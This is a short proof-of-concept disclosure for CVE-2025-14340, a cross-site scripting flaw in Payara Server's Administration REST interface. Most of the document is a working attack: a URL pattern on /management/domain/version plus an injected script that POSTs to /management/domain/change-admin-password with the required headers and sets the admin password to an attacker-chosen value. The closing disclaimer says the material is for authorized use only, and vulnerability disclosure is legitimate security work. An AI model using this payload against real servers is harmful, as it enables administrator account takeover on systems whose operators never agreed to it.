
PoC for CVE-2025-14340: Admin account takeover in Payara Server
A Cross-Site Scripting vulnerability in Payara’s Administration Rest Interface, allows execution of attacker-controlled JavaScript leading to admin account take over. Because of:
/management/domain/version can POST to /management/domain/change-admin-password and set an attacker-chosen password for any target account — resulting in administrator account takeover.URL:
https://panel.example.com:4848/management/domain/version?<PAYLOAD>
PAYLOAD:
<script>
fetch('/management/domain/change-admin-password', {
method: 'POST',
headers: {
'X-Requested-By': 'GlassFish REST HTML interface',
'Accept': 'text/html',
'Content-Type': 'application/x-www-form-urlencoded'
},
body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>
AUTHORIZED USE ONLY. DeepSecurity Perú does not endorse unauthorized access and takes no responsibility for any misuse of the information provided.